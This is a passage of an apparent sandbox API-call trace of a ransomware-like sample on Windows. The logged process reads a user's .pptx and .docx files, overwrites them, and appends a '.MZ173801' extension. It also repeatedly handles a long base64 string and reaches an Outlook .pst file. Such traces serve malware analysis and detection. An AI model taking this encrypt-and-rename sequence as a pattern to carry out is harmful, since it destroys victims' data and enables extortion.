QTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XLS81S1HBOf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xls81s1hbof.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.689] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.691] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.691] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x8a3f [0124.691] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.691] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x8a3f, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x8a3f, lpOverlapped=0x0) returned 1 [0124.692] CloseHandle (hObject=0x288) returned 1 [0124.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XLS81S1HBOf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xls81s1hbof.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.694] WriteFile (in: hFile=0x288, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x8a3f, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f99c*=0x8a3f, lpOverlapped=0x0) returned 1 [0124.695] CloseHandle (hObject=0x288) returned 1 [0124.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XLS81S1HBOf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xls81s1hbof.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XLS81S1HBOf.pptx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xls81s1hbof.pptx.mz173801")) returned 1 [0124.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YgiFg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygifg.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca7f5680, ftCreationTime.dwHighDateTime=0x1d5e568, ftLastAccessTime.dwLowDateTime=0x60209c20, ftLastAccessTime.dwHighDateTime=0x1d5dfa7, ftLastWriteTime.dwLowDateTime=0x60209c20, ftLastWriteTime.dwHighDateTime=0x1d5dfa7, nFileSizeHigh=0x0, nFileSizeLow=0xb7f3)) returned 1 [0124.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YgiFg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygifg.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.714] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.714] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.714] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xb7f3 [0124.715] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.715] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xb7f3, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xb7f3, lpOverlapped=0x0) returned 1 [0124.716] CloseHandle (hObject=0x288) returned 1 [0124.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YgiFg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygifg.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.718] WriteFile (in: hFile=0x288, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb7f3, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xb7f3, lpOverlapped=0x0) returned 1 [0124.720] CloseHandle (hObject=0x288) returned 1 [0124.730] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YgiFg.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygifg.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YgiFg.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygifg.docx.mz173801")) returned 1 [0124.731] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0124.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9b3132a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b3132a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0124.732] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0124.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400)) returned 1 [0124.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5